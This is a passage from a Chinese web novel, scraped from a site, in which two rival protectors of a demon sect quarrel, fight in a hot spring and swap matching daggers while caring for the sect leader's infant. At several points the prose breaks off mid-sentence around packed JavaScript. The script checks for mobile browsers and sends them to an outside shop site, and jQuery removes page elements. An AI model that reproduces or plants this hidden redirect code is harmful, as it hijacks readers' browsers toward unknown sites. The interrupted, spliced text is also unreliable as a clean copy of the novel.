整个魔宗都知道,左护法和右护法都对宗主有好感,两人几乎是从见面起就在为争夺宗主而争风吃醋,可以说这么多年来,他们只要提到彼此总是咬牙切齿,其根本原因就在宗主这个“情敌”身上。 现在他们竟然主动提起了宗主—— 两名跟进来的主峰护卫,还有左炎和右飞尘都不约而同地后退了两步,把战场留给这两位护法。 果然,下一刻季烬就炸了,他冷笑一声说道:“我不知道你跟小宗主有什么关系,但我知道你跟宗主肯定关系匪浅,你刚来宗门的时候我就看出来了,谁会对着刚见面的人搂搂抱抱,两个人耳鬓厮磨?” 玉渐月听着这话笑容不减,迅速反击道:“我跟宗主一见如故,很快成了朋友,让你羡慕了?那是谁每天跑来主峰跟宗主切磋,每次切磋就是小半个月,两个人还同进同出连闭关都要一起?” 季烬站了起来,差点忘了自己怀里还抱着个小宗主,他小心搂着孩子,看他没有要哭的意思,才抬头继续说道:“那是谁当初死活要缠着宗主给他修新的寝殿,甚至为了他重新开辟了一座峰?我倒没看出来你有红颜祸水的潜质,竟然能够把宗主迷成这个样子!” 玉渐月也不甘示弱,虽然模样看着比季烬沉稳许多,但说出来的话语速却极快:“你说起这个,那我也有话要说了,当初是谁非要带着宗主鬼混,带他去参加万魔大会,结果闯了祸连累宗主跟着你被追了八座山?我是祸水那你是什么?” 季烬开始来劲了:“那都是多少年前的事情了你还记着呢,那我也有话要说,你当初做的事情也不少,刚来的时候没少出事,动不动就装病不参加宗门大会,每次都是宗主过去哄你你才肯过来!” 玉渐月也飞快杠了上来:“你还记得你每次出去惹事带着一身伤回来,谁来跟你上药你也不准近身,只有宗主过来你才肯让他帮你上药。” 季烬:“那你之前还穿过宗主的外袍,你当我看不出来吗,你当时去后山外袍是青色的,回来就变成蓝色了,怎么宗主的外袍是有什么不一样吗?” 玉渐月:“你还用过宗主的剑,明明有自己的剑不用,那次斩杀叛逃魔族却偏偏抽出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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想要查出季烬究竟把匕首藏在哪里,肯定不能再像刚才那样继续装作无意地贴近对方,他只能用激烈的肢体触碰,打斗当然是最好的办法,这样他才能够装作无意地去调换两柄匕首。 当然,后面数落季烬的那些话,那倒确实都是真心实意的。 玉渐月和季烬的实力本就相当,同属于魔宗顶尖高手,两人战斗起来的动静自然小不了,不过为了防止这个属于小宗主的偏殿被破坏,也为了不波及周围的人,他们打斗起来仍是稍有克制。 可即便这样,两道身影也是从天上晃到地下,再从地下打进水里,翻天覆地顷刻间在山间来回数次,让人根本看不清身影。 不过好巧不巧的是,就在这打斗越发激烈的时候,玉渐月感觉眉心微微刺痛,原本已经被压制下去的痛楚,竟然又不合时宜地出现了。 他略微停下动作,抬手抚上眉心。 而与此同时,对面正在出手的季烬也看出了玉渐月的异样,他见状连忙收手试图错开身位,可到这种时候他已经很难完全收住去势,他无奈之间咬了咬牙,只来得及改变掌风,而身体却直直地和玉渐月撞在了一块儿。 12.十二章 两个人在空中啪叽撞在了一起,然后谁都没能维持住平衡,直直地就朝着偏殿的后院掉了下去。 这幕场景虽然发生得十分突然又相当不合理,但在场的左炎右飞尘,以及偏殿内外的守卫弟子们却都清楚地看见了。 打得你死我活的两位护法,竟然在空中撞到了一起,还相拥着坠落下来,就算是给全魔宗最该想的弟子去编故事,也编不出这么离谱的画面。 就连自诩跟在两位护法身边见多识广的左炎和右飞尘,看到这里也都同时愣住,感觉像在梦游。 那两位究竟掉到哪去了? 短暂的失神过后,两人几乎是同时朝着后院的方向跑去,去看自家护法究竟怎么样了。 当然以两位护法的功力,肯定不会因为这点小事就受伤。 两人噗通一声,从天上直接坠落到了后院的温泉池中。 温热的水瞬间浇透了两人全身,而季烬在落入水池之后,去做的第一件事就是靠近玉渐月,不知道是打算继续动手,还是想确认他的情况,以便判断接下来要不要再打下去。 不过玉渐月的行动就直接了很多。 事实上在从空中坠落的瞬间,他就已经从短暂的刺痛中缓了过来,他原本也没有想到季烬会突然收手,更没想到对方会直接撞到他,和他一起从天上坠下,但既然事情变成了这个样子,那他就没有理由不利用这个机会了。 在落水的瞬间,玉渐月就一把抓住了季烬的脚踝,打算寻找匕首的踪迹。 不过触手之后,玉渐月很快就意识到东西不在这里。 那剩下的就只有大腿处了,很多人在藏匿暗器的时候,都会藏在这种隐蔽又方便的位置,以便随时动手。 玉渐月于是在水中划动,很快又在水中将手伸向了季烬的腿。 季烬瞪大了眼睛。 他不知道玉渐月究竟在做什么,他明明记得玉渐月水性不差,为什么在掉进池子后,那家伙竟然会在慌乱中四处乱抓,甚至还抓住了他的脚踝? 难道是身体情况不对,所以才会这样? 季烬瞬间想到了自己在玉渐月桌上发现的那些药丸,虽然两人仇怨不少,但他也没想过真正在这里要了玉渐月的命,所以在情急中他还是决定先暂时放下别的心思,先把人拉起来再说。 可他怎么都想不到,当他游向玉渐月,打算拉着他上浮的时候,玉渐月却突然伸手,又一把掐住了他的腿。 季烬:“唔!” 这家伙脑子被水泡得不清醒了吗! 季烬瞬间只有这么个念头,他试图去拉着玉渐月往上浮,但玉渐月就像是吃错了药,不停地在水里面折腾,朝他的方向猛扑过来。 这状况要再能忍下去那就不是季烬了,他以为玉渐月是在天上打还不够,还要在水里接着打下去,于是干脆也憋着气直接攻了过去。 于是当左炎和右飞尘,以及一众守卫赶到温泉边的时候,他们看到的就是冒着水汽的池子里面两道身影正在不停交错来回的画面,而池里面的水被他们搅浑得不停激荡,掀出在这地方不该有的巨浪。 又是一道巨浪落下,右飞尘抹了把湿漉漉的脸,这才表情复杂地说道:“在水里也能打成这样吗?” 左炎:“嗯……” 右飞尘觉得奇怪:“不对,刚才他们掉下来的时候,不是都收手了吗,怎么又开始了?我们需要下水去看看情况吗?” 左炎默然看了他一眼,意思是要去你去。 右飞尘火速打退堂鼓:“要不还是在这等着吧,他们打起来谁也拦不住。” 大家一致觉得岸上比较安全,但实际上也没有好到哪去,毕竟温泉里的水浪一下高过一下,大家都忍不住开始怀疑下面究竟是发生了什么可怕的场面。 也不知道究竟过了多久,当小宗主开着他的摇篮在边上玩水转了四五圈之后,水底下终于有道身影慢慢上浮,看着逐渐清晰起来。 “来了!” 随着不知道谁的声音,在场大家瞬间都精神了起来,好奇地想看看这场战斗到最后,究竟是谁获得了胜利。 毕竟左右护法斗了这么久,他们还从来没见明显赢过对方。 大家伸长了脖子在水边等着,但意外的是就在那道身影即将钻出水面,而大家即将看清楚那究竟是谁时,水里骤然又炸出了大片水花。 一瞬间天上仿佛下起了瓢泼的雨,而大家在一片水雾蒸腾中尚未来得及清理干净脸上的水,就见两道身影同时从炸开的水中跃了出来。 两人分别立于池水左右,左边的玉渐月浑身湿透,难得看来有些狼狈。 但那也只是片刻,仅仅是顷刻之间,他已经利用术法将自己身上的水汽蒸干,只剩下发丝还有些许湿润,有几缕头发不自然地垂落了下来。 相比之下,另外那边的季烬就没那么讲究了,他不愿意把灵力浪费在这种无谓的事情上,就这么顶着湿漉漉的衣服和头发,冷笑着冲玉渐月说道:“你这家伙今天是疯了吗,要不是在空中我看你有问题收了手,你现在早就被趴地上吐血了,你倒好非但不谢我手下留情,还趁机偷袭我,你到底讲不讲理!” 玉渐月对他的质问没有感到丝毫愧疚,甚至还显得十分挑衅:“我有让你停下来吗?你不是一直想解决我然后独占宗主身边的位置吗,怎么不继续动手?怕宗主回来知道了生气?” 季烬头发都要炸起来了,他狠狠地咬了咬牙,眼看着就要继续动手,但在抬手之间,他却突然像是察觉到了什么,忽地脸色一变。 旁边的人本来都以为他们还要再打,都已经迅速腾出位置准备后撤了,可没想到最后关头,季烬却停了下来。 谁都没看懂季烬这是为什么,就连玉渐月也不懂。 只有季烬本人知道,刚才究竟发生了什么事。 他在准备动手的时候才发现,自己原本一直藏在身上的匕首不见了。 匕首的失踪让季烬瞬间陷入了混乱,他明明记得一直到落水之前都还在的,难道是刚才在水里,玉渐月那一通乱刨,把他的匕首给弄掉了?难道匕首还在水里? 季烬下意识地往温泉的方向看了一眼,试图确认自己的猜测,但那边雾气蒙蒙,水也被刚才的打斗搅浑,现在根本看不清楚任何东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他自己捞当然是不可能的,但好在他的身边还有个右飞尘,他拍了拍右飞尘的肩膀,低声说道:“我的匕首在温泉水池里。” 说完他也没再停留,跟着玉渐月,带着摇篮里的小宗主往前院走去。 其他守卫见状,也赶紧跟了上去。 温泉附近只有左炎和右飞尘还立在这里一动不动。 两人目光各有复杂,却都没有率先挪动脚步,其他人都已经走得不见人影了,最终还是右飞尘先没沉住气,小心地看了眼远处,接着才对左炎说道:“你怎么不跟着他们出去?你还在生我的气吗?” 左炎莫名地看了他一眼:“我对你有什么生气的,你留下来就是为了跟我说这句话吗?” 他说着停顿了片刻,又道:“那我没有生气,你可以先走了。” 右飞尘张了张嘴,还是死活钉在原地不走:“我,我还有点事要办,你还是先过去吧。” 左炎狐疑地看着他:“不,你先走。” 两人都沉默了下来。 随即两人视线交错,像是都意识到了什么问题,他们几乎是同时将目光瞥向池水,然后一起纵身跳了进去。 13.十三章 玉渐月和季烬一言不发地回到了主屋里面,两个人刚打过一场,到现在季烬的身上还在滴水,气压也显得极低,在这种状况下,聪明的人自然都知道绝对不能开口。 所以一行人虽然人数不少,但却出奇地安静。 等回到了屋子里之后,玉渐月才终于率先开口道:“行了,说回最开始的那个话题吧,小宗主的名字你怎么想?” 他一开口,其他人顿时仿佛重新能呼吸了,都稍微松了口气。 不过季烬接下来的话又让大家恢复了紧张状态:“你找我来,难道真想听我的意见?” 玉渐月恢复了笑容,淡淡地说道:“你觉得呢?” 季烬:“我觉得我们没有替他起名的资格,这事也不用再提了,除非你说你就是他的另一位父亲,宗主那位谁都没见过但却突然跟他生了个孩子的伴侣。” 玉渐月目光沉了些许:“你认为是我?” 季烬立即道:“我可没这么说,我只是合理提出猜想。” 玉渐月:“那我怎么觉得是你的可能性更大?” 季烬听得都气笑了:“我?你觉得宗主跟我的关系,比跟你的关系更亲密?你要不要听听看其他人怎么说,听他们说你是怎么每天跟宗主出双入对的!” 他抬手指向周围的守卫们,守卫们噤若寒蝉,谁都不敢挪动半分,更不敢开口说一个字。 玉渐月:“那你呢……” 他话到这里,周围的人眼看着他们话不投机仿佛又要开始第二轮战斗,顿时都有些急了,有人甚至已经做好了冲出去请辛游长老过来劝架的准备。 但令人意外的是,还没等主屋里的这两位打起来,外面就突然传来了奇怪的动静。 玉渐月和季烬同时停下了动作,朝大门的方向看去,巧合的是就在他们看过去的同时,两名守卫冲了进来,表情无奈又着急地说道:“左……左炎和右飞尘在外面打起来了!” 左右护法的表情看着都有些疑惑,两人想起了刚才交代的事情,不禁皱起了眉。 其他人则满头雾水,实在不明白,左右护法是对家天天打架他们当然知道,但那两位怎么也跟着凑起热闹了? 不管原因是什么,大家很快地出了屋子,都跟了过去。 左炎和右飞尘这时候已经从后院打到了前院的空地上,不过他们的动静相对起玉渐月和季烬还是要好多了,两人本来也没有恋战的意思,见到大家冲出来,他们立刻就朝这边走了过来。 两人的手里都拿着什么东西,见到其他人后,两人默契地将手里的东西藏到了身后。 但即便他们动作再快,还是被人给看到了。 “右护法!”右飞尘赶到季烬身侧,表情有些尴尬,但还是小声地对季烬交代起情况,“我本来是打算等人走了悄悄去捞匕首的,但左炎一直不肯离开,还跳进水里要跟我抢东西,我没有办法只能……” 但他说这些话的时候,季烬并没有仔细去听,因为季烬的目光全都放在了对面的左炎身上。 看着左炎往玉渐月身边走去,他忽地不顾其他人走上前去,表情复杂沉重,开口问道:“你手里拿着的是什么?” 他这句话是对着左炎问的。 左炎怔了一下,想起来左护法叮嘱过不能让别人看见匕首,所以立即摇头,装作无事地说道:“我不明白你在说什么,右护法。” 然而平常的季烬还算好说话,这一刻他却不知道是怎么了,根本没有给左炎糊弄的机会,他直接一掌拍出,就要逼迫左炎将自己另一只手藏着的东西给拿出来,但玉渐月就在旁边,他当然不会让季烬得逞,当下也是闪身上前,袖风拂动化开了季烬的攻势。 玉渐月蹙眉:“你想干什么?” 季烬毫无退让的意思,表情变得异常认真,甚至有些骇人:“我不想干什么,我只要他把手里的东西拿出来,让我看清楚那是什么。” 这场面顿时变得相当紧张,周围的人们也看不明白,季烬和玉渐月的斗争持续了这么多年,可大多数时候都是吵吵嚷嚷十分热闹的,像今天这样沉重的氛围,却是几乎没有见过。 大家隐约察觉到,季烬的态度似乎是因为左炎手里拿着的那东西。 不过那究竟是什么? 大家刚才也稍微看到了点,好像是……一个什么兵刃? 就在这沉重的气氛中,眼看季烬大有要继续对峙到天荒地老的意思,玉渐月也知道事情到这种地步,已经很难再继续装傻下去,于是只能回头对左炎说道:“东西拿出来,那是右护法的东西,你就还给他吧。” 听他这么说,左炎轻轻叹了口气,终于还是把藏在身后的匕首给拿了出来,递到季烬面前。 季烬认真盯着那柄匕首,视线仿佛要洞穿那道剑鞘,但他却没有立刻伸手将其接过,他沉默地看了许久,突然问道:“这真的是我的东西吗?” 没等玉渐月说什么,他就回头说道:“右飞尘,把你手里的东西也交出来。” 右飞尘这会儿正因为搞不清状况而发愣,听到季烬这么说,他立即应了声,跟着也走了过来,同时拿出了自己刚才藏在身后的东西。 两柄匕首就这样被摆到了一起。 一模一样的剑柄,一模一样的剑鞘,上面的所有刻痕和纹路都是一样的,仿佛同生同源天生一对。 在场看热闹的群众们都愣住了,看到这里他们已经感觉这场热闹有些离奇了。 季烬却没管旁人究竟看到了什么,他只是指着左炎手里的匕首说道:“你说这是我的匕首,那……”他接着又指向右飞尘手里的匕首,“那这是谁的?” 右飞尘还没太弄明白大致情况,他表情复杂小声地对季烬说道:“右护法,我当时跳下去就看到两柄匕首,还以为是我眼花了,后来左炎过来抢走了其中一把,我赶紧追过去要抢回来,后面就……变成你看到的这样了,我真不知道另一把匕首是谁的。” 季烬原本气势十足,听到这里莫名瞥了右飞尘一眼:“我没在问你。” 右飞尘眨眨眼:“啊?” 就在这时候,玉渐月主动走了出来,他表情依然没什么起伏,但或许也只是看起来如此,因为他背在后方的手已经紧紧地拳握掐住了掌心。 他对着季烬主动承认道:“是我的。” 他说着伸出手,拿起了右飞尘手里的那柄匕首,将其从剑鞘中抽了出来。 流水般的幽蓝色光芒闪烁不定,仿佛氤氲着夜空的星河,锋利的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520847|203086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑刃也同时在阳光下闪烁寒芒。 玉渐月看着剑身,沉默了一瞬。 而这时候季烬已经从左炎的手里拿起了另外一柄匕首,他瞬间抽出匕首,匕首剑脊那赤红如同烈焰般的艳色,立刻夺走了所有人的视线。 季烬看着这抹艳红,视线深沉纯粹,过了片刻他才重新将其收归鞘中,说道:“这才是你的。” 他说着把匕首递还给玉渐月。 玉渐月也收起了自己手里的匕首,把它递给了季烬。 两人就这样无声地交换了手中的匕首,可就在玉渐月把匕首接过后,打算收回袖中时,季烬突然开口问道:“为什么还留着这柄匕首?” 玉渐月动作一顿,他眼睫低垂没有去看季烬,所以也不知道对方现在是什么样的神态,他只是低声反问道:“那你呢?” 季烬:“我……” 季烬的回应也没能说出口,玉渐月等了片刻,接着后退半步,说道:“好了,既然不用给小宗主起名,那你也该回去了,左炎送客。” 他说着也没再去看季烬,转身回到了自己的房间。 而季烬盯着他的背影,看了片刻后也终于收回了自己的目光,转身脚步飞快地往殿外走去。 今天的这场闹剧闹得厉害,但谁也没想到最后竟然是这么个结尾。 别说周围看热闹的守卫们不懂,就连左炎和右飞尘两个天天守在左右护法身边的人也没有看懂。 两人莫名地对视了眼,都在犹豫是该追上各自的护法还是该小心被他们的情绪波及,暂时不要过去打扰。 两人就这么懵着脸走到旁边,与此同时其他人也跟着涌了上来,七嘴八舌地询问起来。 “刚才到底怎么回事?怎么会有两把一样的匕首?” “哎,两位护法以前的恩怨还有什么是我们没听说过的吗,怎么感觉这次比之前都严重?” “不是,左炎右飞尘你们两个也不知道吗?” “等等!” 说到这里,主峰的护卫首领突然像是意识到了什么,开口说道:“你们等等,我好像知道是怎么回事了!” 大家嘈杂的说话声顿时都停了下来,全部聚到一块儿朝护卫首领问道:“怎么回事,你快说说。” 护卫首领笑了笑,让大家靠近了些,这才压低声音说道:“你们想啊,左右护法平常面都不见的,怎么会有两柄外表完全一样,而且还一看就是神兵利器的匕首?” 顿了一下,在大家骂他卖关子之前,那名护卫首领又接着说道:“那当然只可能是别人送的,而是谁送的呢,他们平常接触的人都不多,尤其是右护法天天闭关,见的人更少,那么他们同时都在接触,而且还关系匪浅的,那就只有一个人了。” 护卫首领吸了口气,自信满满地说出了自己最后的推论:“肯定是宗主处处留情,同时对两个人都使用了不少手段,甚至连定情信物都送的是一样的,所以刚才他们看到彼此手里的匕首,才会是那种气氛!” 大家顿时瞪大眼睛,想要说点什么,却发现逻辑严丝合缝,似乎就是这么回事。 大家寻思半天,终于得出了一致的结论。 一切的罪魁祸首,果然就是宗主这个花心大萝卜! 14.十四章 季烬从主峰回去之后,整个人身上的气压始终低沉。 右飞尘从来没见自家护法有过这么阴沉的时候,他慢了一步才回到右峰的小院里,寻思着自己是否该去关心一下,但却又担心正好触到霉头。 就这么犹豫了没多久,他突然听见季烬的房间里面传来了对方如往常般隔空朝玉渐月喊话的声音。 然后又过了没多久,季烬从房间里跑了出来,开始对着空气练剑。 他就这么折腾了许久,右飞尘最开始还有些担心,但等季烬练了大半天后,他就知道他们护法差不多是该自己想明白了。 于是等到季烬终于停下来,站在树下抹汗的时候,他终于端了杯茶水走过去,朝季烬说道:“右护法,要不然先坐下休息一下再继续?” 季烬瞥了他一眼,接过茶水一口喝下,把杯子扔回他手里:“你觉得我会累?” 右飞尘赶紧闭嘴摇头。 但季烬没打算放过他,季烬本来自己练功发泄着,现在好不容易看到右飞尘凑了过来,他当即提溜着右飞尘说道:“你说如果有个人和另一个人,明明没有什么特殊的关系,也明明知道没有结果,却还留着对方送给自己的信物,那到底是为什么?” 右飞尘下意识地问道:“右护法你在说你自己吗?” 季烬恶狠狠地瞪了他一眼。 右飞尘赶紧捂嘴,回想起刚才他和其他人琢磨出来的结果,觉得自己应该大概想明白情况了。 这是在说左护法对宗主的感情? 右飞尘想了想,决定说得保守点,以免这把火烧到自己的身上:“也许那个人把信物留着,就是单纯为了留个纪念,没有别的意思呢?” 然而听到这句话,季烬看着却并没有高兴一点,不知道为什么,右飞尘甚至觉得他表情变得更凶狠了。 季烬:“他真的没有一点留恋的可能?真的?!” 右飞尘不明白,说左护法对宗主没有想法,为什么他们右护法还这么生气?难不成他觉得自己说谎太明显了? 右飞尘赶紧改口:“不对不对,我刚才说错了!我想了想,如果没有别的意思,就算是把信物留下来,肯定也不会随时带在身边,毕竟光是看着就会想起送东西的那个人,所以肯定是有些留恋的!一定是这样!” 季烬听见这话,表情顿时变得舒缓不少:“你说得有点道理。” 他说着松开抓着右飞尘领口的手,轻轻拍了拍他的肩膀。 右飞尘觉得自己好像刚才在鬼门关里走了一趟,他松了口气连忙说道:“那我就先去忙了,我突然想起来辛游长老让我去跑腿,我晚点再回来!” 说着他连片刻也没停留,很快地离开了。 而季烬则站在原地,目光深邃地看向了左峰的方向。 那座山头在云层里若隐若现,与他的右峰遥遥相望,他偶尔无事的时候,会习惯性地盯着那个方向发呆,反正没有人能够隔着那么远的距离知道他在看着谁。 “这家伙没有扔掉匕首,果然是有别的原因。”季烬低声说着,语气慢慢变得笃定,“肯定是这样。” 说着这话,他又禁不住嘴角微微上扬。 不过在他抽出匕首,透过匕首的剑身看到自己上扬的嘴角后,他赶紧又咧了咧嘴,强迫自己将表情给压下去:“季烬你在想什么呢,给我别笑了!有什么好期盼的,那家伙现在心里已经有人了!” 他迅速地收回匕首,摇摇头像是要把脑袋里不切实际的想法甩掉。 但很快他又犹豫起来,低声自语道:“但他到底想的是什么,我什么都不问的话,是不是永远没法知道?” 他低着头,对着匕首问道:“我是不是该先弄明白再说?” · 和在右峰山头上独自练剑虐待山巅灵气的季烬相比,玉渐月看起来情绪要稳定得多。 他原本就是个十分内敛的人,这次与季烬争执过后,玉渐月明显变得更加沉默了。 他在回到房间后就把自己和小宗主关了起来,两天里也不知道究竟都做了什么,对小宗主说了什么,左炎只知道,小宗主现在一听自家左护法提起某个右护法的名字,就会捂住耳朵摇着摇篮飞快跑路。 小宗主小小年纪似乎已经听了太多不该听的秘密。 因为有着期间那场闹剧的关系,这次交接期似乎很快就到了,到时间后为了避免见面,玉渐月几乎一大早就离开了偏殿,没有做任何停留。 以至于季烬来的时候,什么也没有看到,他很快走进自己的房间寻找书桌,发现自己的书桌上竟然没有像往常那样留下书信。 玉渐月就这么直接走了,连半句话都没留给他。 接下来的三天,季烬照常地照顾小宗主,只是偶尔右飞尘在院中经过,总能看到季烬小声对着墙角嘀咕,仿佛在说某人的坏话。 只有小宗主依旧不受低气压的影响,依然天天开着摇篮到处遛弯,惹出一堆麻烦。 没错,小宗主虽然才刚满月,但因为体质特殊能力特殊,所以现在已经有很强的闯祸能力了,有时候他会摇着摇篮到天上晃悠半天才被人找到,有时候他会钻进温泉里喝半天的水,还有时候他会趴在墙角啃墙皮,等有人发现的时候,他已经啃垮半边墙了。 这不是因为季烬和右飞尘照顾得不够认真,而是因为小宗主的闯祸方式实在是刁钻,以至于经常稍微跟丢片刻,他就已经不知道去了哪里。 没有办法,最终季烬只能暂时没收了他的摇篮。 失去了摇篮的小宗主闯祸速度总算是因此慢了许多。 这样的日子过得很快,三日后又到了玉渐月来到主峰的时间。 玉渐月是确认了季烬已经离开后,才踏上主峰偏殿的,他先是在自己的房间里找到了被安顿在榻上的小宗主,接着又回头,看到了季烬留给自己的书信。 虽然玉渐月上次没有留信,但季烬却还是照常留下了书信。 看到那东西,玉渐月沉默了一会儿,还是上前打开了信封。 出人意料的是,这次季烬留的内容很短,他不像之前,满篇总是得意洋洋的自我夸赞,这次他只留下了简短的一句话。 -为什么还留着那柄匕首? 玉渐月看到这行字,不由得微微一怔,他也没有想到,都已经过去了好多天,季烬竟然还记挂着这件事情。 不过这次玉渐月依旧没有回答季烬的问题,他在偏殿住了三天,最后离开的时候,也只是留了封信,向季烬说了小宗主最近闯下的祸以及搞出的破坏,并提醒季烬小心小宗主日渐增大的食量,适时带他去遛一遛消磨精力之外,并没有再提起别的事情。 他故意无视了季烬此前的问题,希望对方也能够很快遗忘。 可他没有想到,季烬的执拗劲远比他想的还要厉害。 等到玉渐月再次交接回偏殿的时候,他发现季烬留下来的那封信里,仍然只有那句话。 -为什么还留着那柄匕首? 玉渐月:“……” 他就跟见了鬼打墙一样,仿佛又回到了三天前。 不过玉渐月打定主意不去理会季烬,所以这次也没有回答他的话,他只是按部就班地照顾了小宗主三天,并将这三天小宗主的事情大致写在信中交代给了季烬。 下次,下下次,玉渐月每次来到偏殿,总会收到季烬的信。 信里的内容永远不变,唯一变的只有小宗主越来越大的食量和越来越强的闯祸能力。 到了第不知道多少次的时候,当玉渐月再来交接的时候,他终于发现自己的书桌上没有季烬留下来的信了。 不过他才刚松了口气,就看到旁边摇篮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523078|203086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的小宗主手里面抓着信封,嘴里正在嚼着什么。 玉渐月赶紧过去拦下小宗主的动作,让他张开嘴巴。 小宗主笑得乐呵呵地张开嘴,嘴里的“匕首”两个字就立刻掉进了玉渐月的视线。 玉渐月:“……” 原来不是没留,而是留了被吃掉了。 玉渐月也不知道季烬这次究竟要发多久的疯,他默默地将信纸从小宗主嘴里抢回来,接着收拾了一下将碎纸屑一起扔了出去。 外面的左炎刚走过来就看到这幕,他手里端着茶水,忍不住出声问道:“右护法这次也留了同样的信?” 玉渐月点点头,但很快说道:“不用理他。” 左炎没有出声,不过目光却有些疑惑,他明显地感觉到自家护法最近心情十分阴沉,虽然他无法弄明白具体原因,但光是看也能够猜得出来,这应该是和右护法有关。 他到现在依旧不明白这两位护法之间的恩怨,但有一件事他却可以肯定。 跟着左护法这么久,他似乎只在右护法出现的时候,才能看到左护法有比较强烈的情绪波动,其他时候面对任何事情,玉渐月似乎都是心如止水仿佛旁观者般毫无反应。 当然左炎也只敢在心里面猜测,他向来极有分寸,不会多问什么。 玉渐月解决掉了季烬的信之后,以为这次交接也会像之前那样平静的过去,可他万万没有料到,季烬对于某些问题的求知欲,远比他以为的要强。 因为当天晚上,当玉渐月哄着小宗主入睡的时候,他抱着婴孩躺下,才发现在小宗主的摇篮上,不知道什么时候多了一些奇怪的划痕。 难道是之前小宗主闯祸的时候,不小心弄坏的? 玉渐月下意识凑近去查看,等看清之后,才发现那竟然是被人刻上去的一串蚊蝇般的小字,上面赫然写着“你为什么还留着那柄匕首”。 玉渐月看清楚那行字的瞬间,还以为自己是被季烬纠缠太久,眼前出现了幻觉,等指腹摩挲上去,那凹凸不平的纹路才让他确定了自己没有看错。 季烬竟然把问题刻在了这里。 玉渐月气笑了,随手凝聚灵力在指尖,将摇篮上的字迹抹去,这才重新带着小宗主睡下。 不过季烬并没有停止阴魂不散,次日玉渐月带着小宗主在院中玩起了投食游戏。 这游戏也就是玉渐月凝聚出一枚火球或者水球扔出去,小宗主操纵摇篮飞过去将其吃掉,这样既能够让小宗主锻炼身体,也能同时让他享受食物,玉渐月以前也经常这么玩。 然而当他玩得差不多了,带着小宗主在院中石桌旁坐下休息时,他又看到了桌子上面明显的刻痕。 -你为什么还留着那柄匕首? 玉渐月没能控制住自己的力道,不小心将石桌拍成了两半。 季烬的骚扰程度远不止于此,大概是之前几次玉渐月的无视让他有些急了,接下来的两天,玉渐月发现他几乎在院子里的每个角落都留下了类似的话语。 玉渐月喝一口水,会发现杯子底部留着他的话,晚上赏月,会发现院中他站的那棵树上也刻着他的话,甚至就连他随手打扫院子,都会在扫开落叶后看到那句话。 季烬虽然人不在偏殿,但却仿佛阴魂不散,随时随地出现在院子里的每个地方。 到最后玉渐月感觉自己都快要被缠到精神衰弱了,他只能躲进温泉里休息,才能享受片刻的安宁。 然而这安宁也并没有持续太久,因为就在他泡澡休息的时候,他突然从水里摸到了一个奇怪的螺壳。 他犹豫着将其从水中捞出,心里面不自觉地泛起一丝不祥的预感。 很快,他不祥的预感就成了真。 他听见那螺壳里竟然传来了季烬幽怨的声音:“玉渐月你到底为什么还留着那柄匕首!!” 15.十五章 这时候季烬正在自己的右峰上面吃小火锅。 火锅里的红汤煮得咕噜咕噜不停翻滚,右飞尘则不停地往里面倒食材,这些食材都是他从前山那边弄过来的,据说最近魔宗弟子们种的菜种多了,有些妖族又在冬眠没空吃,所以积压了许多,从前山过的人,人手都会被塞上一大兜子菜。 不过季烬现在对吃火锅没有太大的兴趣,他盯着锅里翻腾的食材,搅弄了两下后突然说道:“那个药师真的是那么跟你说的?” 右飞尘正吃着东西,被辣得满脸发皱,听见季烬的问话,他连忙点头,努力地吞下了那口食物:“是啊,您上次不是给我那枚药丸吗,但药阁的那名药师说他暂时看不出来,要我过阵子再去,我今天不就是特地去问的吗,就因为去那边,路上还被塞了一兜菜……” 季烬赶紧挥手:“继续说正事。” “哦。”右飞尘眨眨眼接着说道,“那名药师虽然花了点时间,但确实看出来了,他说那药是用来压制某种力量的,不过药性有点猛烈,最好不要太常使用,虽然能压制力量,却也会让人在短时期内战斗力削弱,并且长期服用还可能会造成幻觉幻听之类的毛病,总之对身体不太好。” 季烬紧绷着脸,没有说话。 右飞尘不知道他在思考什么,只能试探着问道:“护法,这种药你上哪弄的?到底是谁在吃?” 他心里面有些猜测,但却没有办法证实。 季烬摇了摇头,仍是心事重重的样子,却没有说出来。 他想不明白,为什么玉渐月会有这种药,那是他自己吃的吗?和他之前在打斗的时候突然出现异样有关吗? 如果真的是他的药,那么他到底在压制什么力量,他的身体是出了什么问题吗? 季烬才逐渐意识到,他以为自己对玉渐月已经非常了解,但这么多年时间过去,对方显然已经变成了他不再那么熟悉的人。 他对着面前的空碟看了半晌,突然开口问道:“右飞尘,你说我留在偏殿里的字,他看见了吗?” 